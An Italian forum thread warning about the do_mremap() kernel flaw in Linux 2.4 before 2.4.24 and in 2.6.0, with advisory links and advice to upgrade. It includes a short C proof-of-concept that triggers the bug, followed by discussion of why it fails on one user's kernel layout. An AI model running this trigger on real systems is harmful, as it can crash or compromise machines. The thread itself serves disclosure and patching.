ATTENZIONE: Pericoloso bug nel kernel

[mjordan]

E' stato da poco scoperto un bug che affligge tutte le versioni del kernel 2.4.x precedenti la 2.4.24 e il kernel 2.6.0 escluso il 2.6.1 nella gestione della VM e precisamente nella funzione do_mremap().

Il bug è pericoloso perchè opportunamente sfruttato può portare un utente ad avere il controllo completo della macchina in locale tramite l'esecuzione di istruzioni in kernel mode.
Per testare se il vostro sistema è afflitto usare il seguente codice:

#include <asm/unistd.h>
#include <sys/mman.h>
#include <unistd.h>
#include <errno.h>

#define MREMAP_MAYMOVE  1
#define MREMAP_FIXED    2

#define __NR_real_mremap __NR_mremap

static inline _syscall5( void *, real_mremap, void *, old_address,
                         size_t, old_size, size_t, new_size,
                         unsigned long, flags, void *, new_address );

int main( void )
{
        void *base;

        base = mmap( NULL, 8192, PROT_READ | PROT_WRITE,
                             MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );

        real_mremap( base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,
                          (void *) 0xC0000000 );

        fork();

        return( 0 );
}

Per correggere il problema upgradare subito il kernel ad una versione 2.4.24 o 2.6.1.

[Allusivo]

[mjordan]

Originariamente inviato da Allusivo

[hilo]

mandrake: pacchetti da aggiornare

http://www.mandrakesecure.net/en/adv...MDKSA-2004:001

i pacchetti sono comunque in linea nella sezione updates - 9.2 (cito quella che uso io) dei vari mirror

[VICIUS]

pensavo che con l'ultimo bug avessero capito che devono publicizarle di piu ste cose altrimenti passano inosservate e nessuno aggiorna il kernel.

ciao

[hilo]

Originariamente inviato da VICIUS
pensavo che con l'ultimo bug avessero capito che devono publicizarle di piu ste cose altrimenti passano inosservate e nessuno aggiorna il kernel.

ciao

comunque un utente mandrake, questa pagina la dovrebbe avere
nel suo bookmark
http://www.mandrakesecure.net/en/adv...es.php?dis=9.2

fatta molto bene, nello stile mandrake; anche perche' i bugfix updates i mandrakisti li conoscono molto bene

ciao

[ilsensine]

Un pò , è stato fissato da un paio di settimane.

Curiosità:

Originariamente inviato da mjordan
Per testare se il vostro sistema è afflitto usare il seguente codice:

Non funziona sul mio kernel, che è tuttavia affetto dal bug
Qualche guru intuisce il perché? (indizio: sto usando 1GB tondo tondo senza necessità di supporto highmem)

[Allusivo]

Originariamente inviato da ilsensine
Un pò , è stato fissato da un paio di settimane.

Curiosità:

Non funziona sul mio kernel, che è tuttavia affetto dal bug
Qualche guru intuisce il perché? (indizio: sto usando 1GB tondo tondo senza necessità di supporto highmem)

che forza, metterò il banchetto da 256mb anch'io allora così arrivo a 1gb tondo tonto!

[maxithron]

Originariamente inviato da ilsensine
.
Qualche guru intuisce il perché? (indizio: sto usando 1GB tondo tondo senza necessità di supporto highmem)

Lungi da me la "gurusaggine"...ci provo lo stesso:

Forse perchè utilizzando 1GB tondo tondo sfrutti tutta mem fisica e non VM?

[maxithron]

Per tutti quelli che hanno copiato ed incollato il codice postato da mjordan:

Beh.....sappiate che adesso lui ha il controllo delle vostre macchine. Ci siete cascati come i classici utonti winzozz!!!

































LOL!!!!! STO SCHERZANDO!!!!!!

[ilsensine]

Originariamente inviato da maxithron
Lungi da me la "gurusaggine"...ci provo lo stesso:

Forse perchè utilizzando 1GB tondo tondo sfrutti tutta mem fisica e non VM?

Guarda, questa me la devi tradurre

No ho semplicemente riservato 1.5GB di indirizzi virtuali per il kernel, quindi la mia base è 0xa0000000 e non 0xc0000000 come l'esempio di mjordan si aspetta. Mi serviva questa modifica anche perché avevo bisogno, per altri motivi, di una buona quantità di indirizzi virtuali liberi per il kernel.

[maxithron]

Originariamente inviato da ilsensine
Guarda, questa me la devi tradurre

Non c'è bisogno....la tua faccina è già ,molto eloquente!!

Dovevo metterne una anch'io.

EDIT: cmq il senso (o ilsensine.....) di quello che volevo dire così, su quattro zampe, era questo:

Che avendo tu a disposizione una tale quantità di memoria reale, non avessi molto bisogno di riservare address per la memoria virtuale.

[ilsensine]

Ho come l'impressione che confondi gli "indirizzi di memoria virtuale" con la memoria virtuale implementata ad es. tramite swap

[mjordan]

Originariamente inviato da ilsensine
Un pò , è stato fissato da un paio di settimane.

Già ma visto che sto bug è pericoloso per gli utenti che non ne erano a conoscenza e che hanno utenti sulla propria macchina ho pensato di postarlo quì...

Repetita juvant!

[NA01]

sempre meglio saperlo 2 volte (io cmq non lo sapevo )

domanda stupida!
che sito/mailing list usate per tenervi aggiornati sui buchi?

cia

[Darky]

però che pizza l'upgrade del kernel in linux....ogni volta devi ricrearti e reinstallarti i moduli....e se hai driver o pacchetti compilati per il kernel precedente devi pure fare il rebuild di questi ed ottenere il nuov pacchetto per il nuovo kernel ( a propo', ques'ultima roba si può evitare o è meglio farla ? ).

Per fortuna io devo solo
ribuildare un driver, reinstallarlo e ricaricarne il modulo e riconfigurare il modem

Reinstallare e riconfigurare un secondo modulo/driver....

ma chissà chi ha da rifare molto di più ...boh....perdonatemi lo sfoghino dovuto all'ignoranza in materia...

[linux_goblin]

ma non ci sono le patch che effettuano l'aggiornamento dei sorgenti?

così compili solo una volta senza effettuare alcun rebuild.

o sbaglio?

ciau,
Marco - Goblin

[Darky]

si ma vedi nel mio caso si tratta di sorgenti di driver rilasciati da case produttrici di hardware.
E' già un miracolo che ci siano questi....ed infatti io li

figuriamoci se ora si mettono a fare le patch

[maxithron]

Originariamente inviato da ilsensine
Ho come l'impressione che confondi gli "indirizzi di memoria virtuale" con la memoria virtuale implementata ad es. tramite swap

Ci ho messo un pò a chiarirmi le idee. Ora va meglio!!

[mjordan]

La patch 2.4.23 --> 2.4.24 sono solo 4Kb compressi bz2. Aggiorna dei file sorgenti che in nessun modo vanno ad intaccare il funzionamento di qualche modulo o driver. Se uno ha già un ramo di sorgenti ricompilato bastano 30 secondi per ricompilare quella decina di sorgenti e ricopiare la nuova immagine nella posizione dedicata al boot. Semplice e indolore.

Sarò pure una "pizza" ma la potenza è ovviamente un compromesso che va a scapito della comodità/facilità d'uso. Dipende dal prorpio concetto di sistema operativo IMHO.